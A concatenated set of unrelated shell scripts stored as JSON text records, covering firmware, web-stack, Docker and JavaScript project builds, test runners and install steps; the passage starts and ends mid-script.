$HOME/travis-phantomjs\n export PATH=$HOME/travis-phantomjs:$PATH\nelse\n echo 'Using cached phantom-js';\nfi"} {"text": "## @file\n#\n# Copyright (c) 2018 Loongson Technology Corporation Limited (www.loongson.cn).\n# All intellectual property rights(Copyright, Patent and Trademark) reserved.\n#\n# Any violations of copyright or other intellectual property rights of the Loongson Technology\n# Corporation Limited will be held accountable in accordance with the law,\n# if you (or any of your subsidiaries, corporate affiliates or agents) initiate\n# directly or indirectly any Intellectual Property Assertion or Intellectual Property Litigation:\n# (i) against Loongson Technology Corporation Limited or any of its subsidiaries or corporate affiliates,\n# (ii) against any party if such Intellectual Property Assertion or Intellectual Property Litigation arises\n# in whole or in part from any software, technology, product or service of Loongson Technology Corporation\n# Limited or any of its subsidiaries or corporate affiliates, or (iii) against any party relating to the Software.\n#\n# THIS SOFTWARE IS PROVIDED BY THE AUTHOR \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR\n# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION).\n#\n##\n\n#!/bin/bash\n\n#######################################################################\n#\n# 1: make BaseTools and copy BuildEnv.sh build_rule.txt tools_def.txt to\n# Conf directory\n# 2: set environment path\n# 3: source edksetup.sh BaseTools\n# 4: make souce code\n# 5: generate *efi file\n# 6: generate *fd file\n#\n#######################################################################\nset -x\ncd ../../../../\nexport WORKSPACE=$PWD\nexport EDK_TOOLS_PATH=$PWD/BaseTools/\n\nCOMPILER=loongarch64-linux-gnu-gcc\nCOMPILER_PATH=`which $COMPILER`\nCOMPILE_DIR=$PWD/LsRefCodePkg/SampleCode/Desktop/Script\nCOMPILE_FILE=Loongson\nPROJECT_IMAGE_NAME=Loongson.fd\nPROJECT_CONFIG_FILE=$COMPILE_DIR/Desktop.cfg\nPROJECT_PLATFORM_NAME=LOONGSON\nPROJECT_BUILD_DIR=$WORKSPACE/Build/$PROJECT_PLATFORM_NAME/$VERSION\nVERSDIR=$WORKSPACE/LsRefCodePkg/Include\nCUSTOMED_SEC_DIR=$WORKSPACE/LsRefCodePkg/SampleCode/Desktop/CustomedSec\nCUSTOMED_SEC_DIR_S=$WORKSPACE/LsRefCodePkg/Core/SecMain/CustomedSec\nCOMPILER_VERSION=GCC83\n\nif [ \"$1\" == \"clean\" ]\nthen\n rm -rf $WORKSPACE/LsRefCodePkg/Core/SecMain/CustomedSec\n rm -rf $WORKSPACE/Build/\n rm -rf $COMPILE_DIR/LS*.fd\n exit 0\nfi\n\n# Link the CustomedSec to core\nrm -rf $WORKSPACE/LsRefCodePkg/Core/SecMain/CustomedSec\nln -s $CUSTOMED_SEC_DIR $CUSTOMED_SEC_DIR_S\n\n# Detect the host processor, and determine the GCC version.\ncase $('uname') in\n Linux*) echo Linux\n case $(uname -m) in\n x86_64)\n if [[ $COMPILER_VERSION == GCC83 ]];\n then\n export GCC83_LOONGARCH64_PREFIX=`dirname ${COMPILER_PATH}`/${COMPILER%g*}\n GCC_PATH=$GCC83_LOONGARCH64_PREFIX\n echo Use cross compiler version: $COMPILER_VERSION\n elif [[ $COMPILER_VERSION == GCC49 ]];\n then\n export GCC49_LOONGARCH64_PREFIX=`dirname ${COMPILER_PATH}`/${COMPILER%g*}\n GCC_PATH=$GCC49_LOONGARCH64_PREFIX\n echo Use cross compiler version: $COMPILER_VERSION\n else\n echo \"Unsupport corss compiler!!\"\n exit 1\n fi\n ;;\n mips64)\n GCC_VERSION=$(gcc -v 2>&1 | tail -1 | awk '{print $3}')\n case $GCC_VERSION in\n 4.4.*)\n export GCC44_LOONGARCH64_PREFIX=/usr/bin/\n GCC_PATH=$GCC83_LOONGARCH64_PREFIX\n COMPILER_VERSION=GCC83\n echo Use compiler version: $COMPILER_VERSION\n ;;\n 4.9.*)\n export GCC49_LOONGARCH64_PREFIX=/usr/bin/\n GCC_PATH=$GCC49_LOONGARCH64_PREFIX\n COMPILER_VERSION=GCC49\n echo Use compiler version: $COMPILER_VERSION\n ;;\n *)\n echo Only support the version of compiler is GCC4.4 and GCC4.9 for now.\n ;;\n esac\n ;;\n esac\n ;;\n *)\n echo Only support Linux.\n exit 1\n ;;\nesac\n\n# check build version and show the config info\ngrep -v \"^[[:blank:]]*#\" $PROJECT_CONFIG_FILE | grep -v \"^$\" > ./.cfg\nsed -i \"s/DEFINE//g\" ./.cfg\n\nCPUTYPE=`grep \"CPU_TYPE\" ./.cfg|sed 's/^.*= *//g'`\nNORTHBRIDGE=`grep \"SOUTH_BRIDGE\" ./.cfg|sed 's/^.*= *//g'`\nPLATFORMTYPE=`grep \"PLATFORM_TYPE\" ./.cfg|sed 's/^.*= *//g'`\n\necho \"#####################################\"\necho \"Compile configure is:\"\nwhile read LINE\ndo\n echo $LINE\ndone < ./.cfg\necho \"#####################################\"\nSTR=$(sed -n '/COMP_TYPE/'p ./.cfg; rm .cfg -rf)\nVERSION=${STR##*=}\nVERSION=$(echo $VERSION |sed 's/[[:space:]]//g')\n\necho WORKSPACE:${WORKSPACE}\necho EDK_TOOLS_PATH:${EDK_TOOLS_PATH}\necho GCC_LOONGARCH64_PREFIX:${GCC_PATH}\nsource edksetup.sh BaseTools\necho PROJECT_BUILD_DIR:${PROJECT_BUILD_DIR}\n\n# Generate version\n#\nif [[ ${CPUTYPE} == 3A5000 || ${CPUTYPE} == 3B5000 ]]\nthen\nPLATFORM_NAME=Ls3a50007a\nfi\n\nPLATFORM=${CPUTYPE}${NORTHBRIDGE}\"_\"${PLATFORMTYPE}\necho \"PLATFORM = $PLATFORM\"\n$COMPILE_DIR/Vers.sh $PLATFORM $VERSDIR\n\n#\n# Build By GenFv\n#\nif [[ ! -f `which build` || ! -f `which GenFv` ]];\nthen\n echo Make BaseTools....\n make -C $WORKSPACE/BaseTools\nelif [[ ( -f `which build` || -f `which GenFv` ) && ! -d $EDK_TOOLS_PATH/Source/C/bin ]];\nthen\n echo Building tools no $EDK_TOOLS_PATH/Source/C/bin directory\n make -C $WORKSPACE/BaseTools\nelse\n echo Tools already exiting\nfi\n\n\nif [ -z \"$PLATFORMFILE\" ]\nthen\n PLATFORMFILE=${COMPILE_DIR}/${COMPILE_FILE}.dsc\nfi\n\nset -e\n\necho Runing Edk2 Build for Loongson...\nbuild -a LOONGARCH64 -p $PLATFORMFILE -t $COMPILER_VERSION -b $VERSION -j log.txt\n\nif [ -z \"$OUTPUT_DIR\" ]\nthen\nMRC_OUT_DIR=`find $WORKSPACE/Build -name MemConfigPpi`\nif [ -f \"$MRC_OUT_DIR/OUTPUT/MemConfigPpi.efi\" ]\nthen\nMRC_BIN_DIR=$WORKSPACE/LsRefCodePkg/MRC/Binary\ncp $MRC_OUT_DIR/OUTPUT/MemConfigPpi.efi $MRC_BIN_DIR/\ncp $MRC_OUT_DIR/OUTPUT/MemConfigPpi.depex $MRC_BIN_DIR/\nfi\nOUTPUT_DIR=$WORKSPACE/Build/$PLATFORM_NAME/${VERSION}_${COMPILER_VERSION}/FV\ncp $OUTPUT_DIR/LS*.fd $COMPILE_DIR\nfi"} {"text": "taktod/pulseaudio-webrtc-audio-processing\n#!/bin/sh\n\n#libtoolize\n#aclocal\n#automake --add-missing --copy\n#autoconf\nautoreconf -if\n./configure ${@}"} {"text": "#!/bin/sh\n\ncd dConnectManager/dConnectManager\nchmod +x ./gradlew\n./gradlew dconnect-server-nano-httpd:connectedAndroidTest"} {"text": "0\nyarn build\nrm mengxue-web.zip\nzip -r mengxue-web.zip dist/"} {"text": "0\n#!/bin/bash\nsudo service supervisor force-stop\nsudo service beanstalkd force-stop\nsudo php artisan command:cacheCommand clear_report\nsudo php artisan command:cacheCommand clear_views\nsudo php artisan command:cacheCommand clear_files\nsudo php artisan command:cacheCommand clear_events\nphp composer.phar install\nphp composer.phar dump-autoload\nsudo service supervisor start\nsudo service beanstalkd start"} {"text": "#!/bin/bash/\n\n# Usage: sh scripts/testWithGanache.sh test/.js \n\n\nPID=$(lsof -i:8545 | awk 'NR==2' | awk '{print $2}')\nif [ \"$PID\" != \"\" ];\nthen\n echo \"killing PID $PID\"\n kill -9 $PID\n rm -rf /tmp/tmp-* &\nfi\n\nganache-cli \\\n --chainId 99999 \\\n --quiet &\n\nif [ \"$2\" = \"DO_COMPILE\" ];\nthen\n echo \"WILL COMPILE!\"\n truffle test $1 \\\n --network development \\\n --stacktrace-extra \\\n --migrations_directory none # a hack to skip migrations\nelif [ \"$2\" = \"COMPILE_NONE\" ];\nthen\n echo \"$2\"\n truffle test $1 \\\n --network development \\\n --stacktrace-extra \\\n --migrations_directory none \\\n --compile-none # skip compilation step\nelse\n exit 0\nfi\n\nexit 1"} {"text": "JosephDuffy/homebridge-pc-volume10-100\n#!/bin/bash\n\nnpm run-script build\nnpm pack\ntar zxvf homebridge-pc-volume-*.tgz -C \"e2e-tests\"\ncd e2e-tests || exit\ncp ../.homebridge-debug/config.json ./\ncp ../package-lock.json ./\ndocker build . -t homebridge-pc-volume-e2e\n./check-build.sh\ndocker container stop \"$(docker container ls -q --filter ancestor=homebridge-pc-volume-e2e)\""} {"text": "lang/run_tests.sh\n#!/bin/bash\n\n# Build the compiler.\nif ! (cd lang && cmake -B ../build && make -C ../build); then\n >&2 echo 'Failed to build the compiler'\n exit 1\nfi\n\n# Run unit tests.\nfor unit_test in build/*_test; do\n echo \"$unit_test\"\n \"$unit_test\"\ndone\n\n# Run E2E tests.\nr='\\x1b[31m'\ng='\\x1b[32m'\ny='\\x1b[33m'\nreset='\\x1b[0m'\nfor e2e_test_file in lang/test_data/*.aoc; do\n e2e_test=\"$(basename -s .aoc \"$e2e_test_file\")\"\n if ! build/compiler \"lang/test_data/$e2e_test.aoc\" > \"build/$e2e_test.s\"; then\n echo -e \"${r}FAILED${reset} (compilation) $e2e_test\"\n continue\n fi\n if ! as \"build/$e2e_test.s\" -o \"build/$e2e_test.o\"; then\n echo -e \"${r}FAILED${reset} (assembly) $e2e_test\"\n continue\n fi\n if ! ld \"build/$e2e_test.o\" -o \"build/$e2e_test\"; then\n echo -e \"${r}FAILED${reset} (linking) $e2e_test\"\n continue\n fi\n \"build/$e2e_test\" <\"lang/test_data/$e2e_test.input\" \\\n >\"build/$e2e_test.stdout\" \\\n 2>\"build/$e2e_test.stderr\"\n exit_code=\"$?\"\n cat > \"build/$e2e_test.output\" <\"build/$e2e_test.diff\"; then\n echo -e \"${r}FAILED${reset} (diff) $e2e_test\" \\\n \"(${r}want${reset}, ${g}got${reset})\"\n cat \"build/$e2e_test.diff\"\n continue\n fi\n echo -e \"${g}PASSED${reset} $e2e_test\"\ndone"} {"text": "#!/bin/bash\n\n# install dependency\nsudo apt-get update -y\nsudo apt-get install git -y\nsudo apt-get install curl -y\nsudo apt-get install unzip -y\n\n# install nginx\nsudo apt-get install nginx -y\n\n# start and enable nginx\nsudo systemctl start nginx\nsudo systemctl enable nginx\n\n# check nginx version\nnginx -v\n\n# install php and extensions\nsudo apt-get install php7.4 php7.4-fpm php7.4-cli php7.4-mysql php7.4-curl php7.4-json php7.4-mbstring -y\n\n# check php version\nphp --version\n\n# start and enable php-fpm\nsudo systemctl start php7.4-fpm\nsudo systemctl enable php7.4-fpm\n\n# install composer\ncurl -sS https://getcomposer.org/installer -o composer-setup.php\nHASH=544e09ee996cdf60ece3804abc52599c22b1f40f4323403c44d44fdfdd586475ca9813a858088ffbc1f233e9b180f061\nphp -r \"if (hash_file('SHA384', 'composer-setup.php') === '$HASH') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;\"\n\n# install composer globally\nsudo php composer-setup.php --install-dir=/usr/local/bin --filename=composer\n\n# check composer\ncomposer"} {"text": "scripts/dist.sh\n#!/bin/bash\n\necho preparing for distribution\nrm -rf dist_*\nmkdir dist_win\nmkdir dist_linux\necho love archive\nmkdir temp\ncp -r * temp\ncd temp\nrm -rf temp\nrm -rf love\nrm -rf scripts\nrm -rf dist\nls\nzip -9 -r ../dist_win/spamality.love .\ncd ..\nrm -rf temp\necho windows executable\ncat love/love.exe dist_win/spamality.love > dist_win/spamality.exe\ncp love/* dist_win\nrm dist_win/love.exe\nrm dist_win/lovec.exe\necho done"} {"text": "#!/bin/sh\nif [ ${PPP_IFACE} != \"l2tp0\" ]; then\n\texit 0\nfi\n\nlogger \"Notice: l2tp0 is down\"\n\nmessage=`netstat -t | grep ssh`\nif [ -n \"$message\" ]; then\n\tlogger \"Find SSH connection(s), exit.\"\n\texit 0\nfi\n. /root/trunk_dynamic_route.sh disable\n. /root/repeat_redial.sh &"} {"text": "#!/usr/bin/env bash\n\nrm -rf ~/squashfs-root\n#unsquashfs /media/psf/test/electron-builder-test/dist/se-electron2_1.1.0_amd64.snap\nunsquashfs /media/psf/test/electron-builder-test/dist/se-wo-template_1.1.0_amd64.snap\nrm -rf ~/squashfs-root/app ~/squashfs-root/snap ~/squashfs-root/meta ~/squashfs-root/command.sh\n#mksquashfs ~/squashfs-root /media/psf/test/electron-template-2.snap -comp xz -noappend -no-xattrs -no-fragments -all-root\nmksquashfs ~/squashfs-root /media/psf/test/electron-template-1.snap -comp xz -noappend -no-xattrs -no-fragments -all-root\n\nshasum -a 512 /Volumes/test/electron-template-1.2.1.snap | xxd -r -p | base64\n#shasum -a 512 /Volumes/test/electron-template-2.2.1.snap | xxd -r -p | base64"} {"text": "devops-circle/demos\n#!/bin/bash\n\ncd $(dirname $0)\n\nmvn clean install -DskipTests\ndocker build --tag mesosphere/dcos-beer-service:latest ."} {"text": "#!/bin/bash\nscp ./bin/apiserver root@192.168.1.125:~/"} {"text": "#!/bin/bash\n\nVIRTUAL_ENV=\".virtualenv\"\n\npyVersion=$(ls $VIRTUAL_ENV/lib/ | grep python2.*)\npython2 -c \"import sys;import os;import wx;sys.stdout.write(os.path.dirname(wx.__file__)[:-3])\" > $VIRTUAL_ENV/lib/$pyVersion/site-packages/wx.pth"} {"text": "#!/bin/bash\n. ../assert.sh\nFLOW=$1\n\nassert_ok \"$FLOW\" get-def example.js 12 10 --strip-root --json\n\n# import thing from \"./exports_default.js\";\n# ^\nprintf \"default import points to default export = \"\nassert_ok \"$FLOW\" get-def imports.js 3 10 --strip-root --pretty\n\n# thing;\n# ^\nprintf \"local reference points to default import = \"\nassert_ok \"$FLOW\" get-def imports.js 4 4 --strip-root --pretty\n\n# import {foo, bar as baz} from \"./helpers/exports_named.js\";\n# ^\nprintf \"named import of const points to named export = \"\nassert_ok \"$FLOW\" get-def imports.js 6 10 --strip-root --pretty\n\nprintf \"named import of let points to named export = \"\nassert_ok \"$FLOW\" get-def imports.js 6 29 --strip-root --pretty\n\nprintf \"named import of var points to named export = \"\nassert_ok \"$FLOW\" get-def imports.js 6 40 --strip-root --pretty\n\nprintf \"named import of function points to named export = \"\nassert_ok \"$FLOW\" get-def imports.js 6 51 --strip-root --pretty\n\nprintf \"named import of class points to named export = \"\nassert_ok \"$FLOW\" get-def imports.js 6 56 --strip-root --pretty\n\n# import {foo, bar as baz} from \"./helpers/exports_named.js\";\n# ^\nprintf \"aliased named import points to named export (as) = \"\nassert_ok \"$FLOW\" get-def imports.js 6 19 --strip-root --pretty\n\n# import {foo, bar as baz} from \"./helpers/exports_named.js\";\n# ^\nprintf \"aliased named import points to named export (remote name) = \"\nassert_ok \"$FLOW\" get-def imports.js 6 15 --strip-root --pretty\n\n# import {foo, bar as baz} from \"./helpers/exports_named.js\";\n# ^\nprintf \"aliased named import points to named export (local name) = \"\nassert_ok \"$FLOW\" get-def imports.js 6 22 --strip-root --pretty\n\n# foo;\n# ^\nprintf \"local reference points to named import = \"\nassert_ok \"$FLOW\" get-def imports.js 7 2 --strip-root --pretty\n\n# baz;\n# ^\nprintf \"local reference points to aliased named import = \"\nassert_ok \"$FLOW\" get-def imports.js 8 2 --strip-root --pretty\n\n# import * as things from \"./helpers/exports_named.js\";\n# ^\nprintf \"namespaced import points to imported file (as) = \"\nassert_ok \"$FLOW\" get-def imports.js 10 11 --strip-root --pretty\n\n# import * as things from \"./helpers/exports_named.js\";\n# ^\nprintf \"namespaced import points to imported file (remote name) = \"\nassert_ok \"$FLOW\" get-def imports.js 10 8 --strip-root --pretty\n\n# import * as things from \"./helpers/exports_named.js\";\n# ^\nprintf \"namespaced import points to imported file (local name) = \"\nassert_ok \"$FLOW\" get-def imports.js 10 15 --strip-root --pretty\n\n# things;\n# ^\nprintf \"local reference points to namespaced import = \"\nassert_ok \"$FLOW\" get-def imports.js 11 4 --strip-root --pretty\n\nprintf \"class property read = \"\nassert_ok \"$FLOW\" get-def class.js 13 6 --strip-root --pretty\nprintf \"class property write = \"\nassert_ok \"$FLOW\" get-def class.js 14 6 --strip-root --pretty\nprintf \"class methods = \"\nassert_ok \"$FLOW\" get-def class.js 15 6 --strip-root --pretty\nprintf \"refined class properties = \"\nassert_ok \"$FLOW\" get-def class.js 18 8 --strip-root --pretty\n# TODO get private properties working\nprintf \"private class property access = \"\nassert_ok \"$FLOW\" get-def class.js 7 15 --strip-root --pretty\nprintf \"private class property assignment = \"\nassert_ok \"$FLOW\" get-def class.js 8 15 --strip-root --pretty\nprintf \"members of maybe types = \"\nassert_ok \"$FLOW\" get-def class.js 22 5 --strip-root --pretty\nprintf \"members of unions with null/void = \"\nassert_ok \"$FLOW\" get-def class.js 26 5 --strip-root --pretty\n\nprintf \"member of a nonexistent imported type with type parameters = \"\nassert_ok \"$FLOW\" get-def imports.js 16 4 --strip-root --pretty 2>&1\nprintf \"member of a type alias for \\`any\\` with type parameters = \"\nassert_ok \"$FLOW\" get-def imports.js 22 4 --strip-root --pretty 2>&1\n\nprintf \"member of an object type alias = \"\nassert_ok \"$FLOW\" get-def objects.js 5 4 --strip-root --pretty\nprintf \"member of an unannotated object type = \"\nassert_ok \"$FLOW\" get-def objects.js 8 4 --strip-root --pretty\nprintf \"shadow prop created on write = \"\nassert_ok \"$FLOW\" get-def objects.js 12 4 --strip-root --pretty\nprintf \"shadow prop created on read = \"\nassert_ok \"$FLOW\" get-def objects.js 14 4 --strip-root --pretty\n\nprintf \"optional chain initial property = \"\nassert_ok \"$FLOW\" get-def optional_chaining.js 17 6 --strip-root --pretty\nprintf \"optional chain subsequent property = \"\nassert_ok \"$FLOW\" get-def optional_chaining.js 17 10 --strip-root --pretty\nprintf \"optional chain initial property of null = \"\nassert_ok \"$FLOW\" get-def optional_chaining.js 18 7 --strip-root --pretty\nprintf \"optional chain subsequent property of null = \"\nassert_ok \"$FLOW\" get-def optional_chaining.js 18 11 --strip-root --pretty\n\nprintf \"shorthand destructuring = \"\nassert_ok \"$FLOW\" get-def objects.js 19 11 --strip-root --pretty\nprintf \"non-shorthand destructuring = \"\nassert_ok \"$FLOW\" get-def objects.js 20 11 --strip-root --pretty\nprintf \"destructuring without type alias = \"\nassert_ok \"$FLOW\" get-def objects.js 22 11 --strip-root --pretty\n# TODO this should return results\nprintf \"destructuring a shadow prop = \"\nassert_ok \"$FLOW\" get-def objects.js 23 11 --strip-root --pretty\n# This one should return no results\nprintf \"bogus array destructuring of an object = \"\nassert_ok \"$FLOW\" get-def objects.js 24 11 --strip-root --pretty\n\nprintf \"property access on the arg to the idx callback = \"\nassert_ok \"$FLOW\" get-def idx.js 12 25 --strip-root --pretty\nprintf \"nested property access on the arg to the idx callback = \"\nassert_ok \"$FLOW\" get-def idx.js 12 29 --strip-root --pretty"} {"text": "#!/bin/sh\n\nfor i in {1..100000}\ndo\n m=$((i%3))\n if [ $m -eq 1 ]\n then\n o=\"A\"\n elif [ $m -eq 2 ]\n then\n o=\"B\"\n else\n o=\"C\"\n fi\n \n echo \"dn: cn=xxx-$i,ou=org-$o,dc=vmware,dc=com\"\n echo \"changetype: add\"\n echo \"cn: xxx-$i\"\n echo \"sn: yyy\"\n echo \"sAMAccountName: xxxyyy-$i\"\n echo \"uid: $i\"\n echo \"objectClass: user\"\n echo \"objectClass: organizationalPerson\"\n echo \"userPassword: \"\n echo \"telephoneNumber: 425-123-456-$i\"\n echo \"facsimileTelephoneNumber: 425-456-123-$i\"\n echo \"street: 20517 NE $i th street\"\n echo \"st: washington\"\n echo \"l: redmond\"\n echo \"postalCode: 98052\"\n echo \"ou: org-$o\"\n echo \"title: engineer\"\n echo \"description: Employee of VMware\"\n echo \"\"\ndone"} {"text": "nonoesp/dotfiles\nexport PATH=\"/opt/homebrew/bin:/usr/local/bin:$PATH\""} {"text": "#!/usr/bin/env bash\n#\n# Copyright 2018, Intel Corporation\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materials provided with the\n# distribution.\n#\n# * Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived\n# from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\n#\n# src/test/tools/anonymous_mmap/check_max_mmap.sh -- checks how many DAX\n# devices can be mapped under Valgrind and saves the number in\n# src/test/tools/anonymous_mmap/max_dax_devices.\n#\n\nDIR_CHECK_MAX_MMAP=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nFILE_MAX_DAX_DEVICES=\"$DIR_CHECK_MAX_MMAP/max_dax_devices\"\nANONYMOUS_MMAP=\"$DIR_CHECK_MAX_MMAP/anonymous_mmap.static-nondebug\"\n\nsource \"$DIR_CHECK_MAX_MMAP/../../testconfig.sh\"\n\n#\n# get_devdax_size -- get the size of a device dax\n#\nfunction get_devdax_size() {\n\tlocal device=$1\n\tlocal path=${DEVICE_DAX_PATH[$device]}\n\tlocal major_hex=$(stat -c \"%t\" $path)\n\tlocal minor_hex=$(stat -c \"%T\" $path)\n\tlocal major_dec=$((16#$major_hex))\n\tlocal minor_dec=$((16#$minor_hex))\n\tcat /sys/dev/char/$major_dec:$minor_dec/size\n}\n\nfunction msg_skip() {\n\techo \"0\" > \"$FILE_MAX_DAX_DEVICES\"\n\techo \"$0: SKIP: $*\"\n\texit 0\n}\n\nfunction msg_failed() {\n\techo \"$0: FATAL: $*\" >&2\n\texit 1\n}\n\n# check if DEVICE_DAX_PATH specifies at least one DAX device\nif [ ${#DEVICE_DAX_PATH[@]} -lt 1 ]; then\n\tmsg_skip \"DEVICE_DAX_PATH does not specify path to DAX device.\"\nfi\n\n# check if valgrind package is installed\nVALGRINDEXE=`which valgrind 2>/dev/null`\nret=$?\nif [ $ret -ne 0 ]; then\n\tmsg_skip \"Valgrind required.\"\nfi\n\n# check if memcheck tool is installed\n$VALGRINDEXE --tool=memcheck --help 2>&1 | grep -qi \"memcheck is Copyright (c)\" && true\nif [ $? -ne 0 ]; then\n\tmsg_skip \"Valgrind with memcheck required.\"\nfi\n\n# check if anonymous_mmap tool is built\nif [ ! -f \"${ANONYMOUS_MMAP}\" ]; then\n\tmsg_failed \"${ANONYMOUS_MMAP} does not exist\"\nfi\n\n# checks how many DAX devices can be mmapped under Valgrind and save the number\n# in $FILE_MAX_DAX_DEVICES file\nbytes=\"0\"\nmax_devices=\"0\"\nfor index in ${!DEVICE_DAX_PATH[@]}\ndo\n\tif [ ! -e \"${DEVICE_DAX_PATH[$index]}\" ]; then\n\t\tmsg_failed \"${DEVICE_DAX_PATH[$index]} does not exist\"\n\tfi\n\n\tcurr=$(get_devdax_size $index)\n\tif [[ curr -eq 0 ]]; then\n\t\tmsg_failed \"size of DAX device pointed by DEVICE_DAX_PATH[$index] equals 0.\"\n\tfi\n\n\t$VALGRINDEXE --tool=memcheck --quiet $ANONYMOUS_MMAP $((bytes + curr))\n\tstatus=$?\n\tif [[ status -ne 0 ]]; then\n\t\tbreak\n\tfi\n\n\tbytes=$((bytes + curr))\n\tmax_devices=$((max_devices + 1))\ndone\n\necho \"$max_devices\" > \"$FILE_MAX_DAX_DEVICES\"\n\necho \"$0: maximum possible anonymous mmap under Valgrind: $bytes bytes, equals to size of $max_devices DAX device(s). Value saved in $FILE_MAX_DAX_DEVICES.\""} {"text": "vpsx/paoloserver\n# I have no idea what I am doing\n# With help from github.com/mikegcoleman/todo#docker-containers-with-docker-compose\n\n# install latest version of docker the lazy way\ncurl -sSL https://get.docker.com | sh\n\n# make it so you don't need to sudo to run docker commands\nusermod -aG docker ubuntu\n\n# install docker-compose\nsudo curl -L https://github.com/docker/compose/releases/download/1.21.2/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose\nsudo chmod +x /usr/local/bin/docker-compose\n\n# run the thing\n# docker run -t -p 80:5000 vpsx/paoloserver:latest\ndocker-compose up -d"} {"text": "install_rpmfusion.sh\n#!/bin/bash\nsudo dnf install -y \\\n https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm\n\nsudo dnf install -y \\\n https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm"} {"text": ".scripts/pre-commit.sh\n####\n## @file\n## Run pre-commit dependencies (minifying CSS and JavaScript files, mostly) and then do a quick jekyll build.\n##\n## This script requires that you install some node.js dependencies by running:\n## `npm install`\n## from the repo root.\n##\n## Run this script from the repo root (ex: `.scripts/pre-commit.sh`).\n####\n\nnpm run prettier-css\nnpm run prettier-js\nnpm run purgecss\nnpm run terser\nbundle exec jekyll build --verbose"} {"text": "#!/bin/sh\nJUMPGATE_CONFIG=etc/jumpgate.conf gunicorn \"jumpgate.wsgi:make_api()\" --bind=\"10.114.252.140:5000\" --timeout=600 --access-logfile=\"-\" -w 4 $@;"} {"text": "test/z80/run.sh\n#!/bin/sh\nfunction test {\n\techo Testing $i\n\t../../build/scons/build_gameboy/motorgb -mcz -fv -o$1.r $1 >$1.out 2>&1\n\tcat $1.r $1.out >$1.output 2>/dev/null\n\trm $1.r $1.out 2>/dev/null\n\tdiff $1.output $1.answer\n\tif [ $? -eq 0 ]; then\n\t\trm $1.output\n\tfi\n}\n\nfor i in *.asm; do\n\ttest $i\ndone"} {"text": "toolkit/compile.sh\n#!/bin/sh\nrm -rf bin\nmkdir bin\njavac -cp bin -d bin src/toolkit/StringUtil.java\njavac -cp bin -d bin src/toolkit/Calc.java\njavac -cp bin -d bin src/toolkit/Dado.java\njavac -cp bin -d bin src/toolkit/DadoAbstrato.java\njavac -cp bin -d bin src/toolkit/Dado6Faces.java\njavac -cp bin -d bin src/toolkit/Dado18Faces.java\njavac -cp bin -d bin src/toolkit/Dado2x6Faces.java\njavac -cp bin -d bin src/toolkit/DadoViciado.java\njavac -cp bin -d bin src/toolkit/DadoEmDobro.java\njavac -cp bin -d bin src/toolkit/Main.java\njavac -cp bin -d bin src/toolkit/UmJogo.java"} {"text": "ArcadeAnalytics/arcadeanalytics-docker-images\n#!/usr/bin/env bash\n\ndocker build --pull . -t arcadeanalytics/postgres-dvdrental\n\ndocker push arcadeanalytics/postgres-dvdrental"} {"text": "1-10\nnarchi_cli.py render --ext_vars '{\"vocabulary_size\": 5000}' text_image_classification.jsonnet;"} {"text": "0\n#!/bin/bash\n# Author: (MPED)\n# Description: This script builds a docker image and optionally uploads it to Docker Hub\n# Please do not depend on my Docker Hub image, rather fork it yourself.\n# You want to have $DOCKER_ID_USER set correctly if you want to push to your own Docker Hub repo!\n# It takes around 30mins to complete --setup_foreigns --setup_chroots --push --fetch_all --build_all\n\nIMAGE_V0=debian:stretch-slim # Input: Some small Debian [AMD64] (or other distro which has debootstrap)\nIMAGE_V1=debian_foreign_base # Output: Debian [AMD64] containing other Debians of differing architectures via schroot\nIMAGE_V2=debian_foreign # Output: Same as IMAGE_V1 with chroots being populated with packages\nIMAGE_V3=debian_foreign_fetched # Output: Same as IMAGE_V2 with zephyr having been fetched\nIMAGE_V4=debian_foreign_built # Output: Same as IMAGE_V3 with zephyr having been built\n\nDOCKER_RUN_OPTS=\"--privileged -v ${PWD}:/this_dir -it\"\n\n\nfunction docker_commit\n{\n local image_from=\"$1\"\n local image_to=\"$2\"\n\n # Get ID of the previous exited instance of $image_from\n container_id=$(sudo docker container ls --all --quiet --latest --filter ancestor=${image_from} --filter status=exited)\n\n # Commit that container instance to a new image, call it $image_to\n sudo docker commit -m\"Debian with another foreign 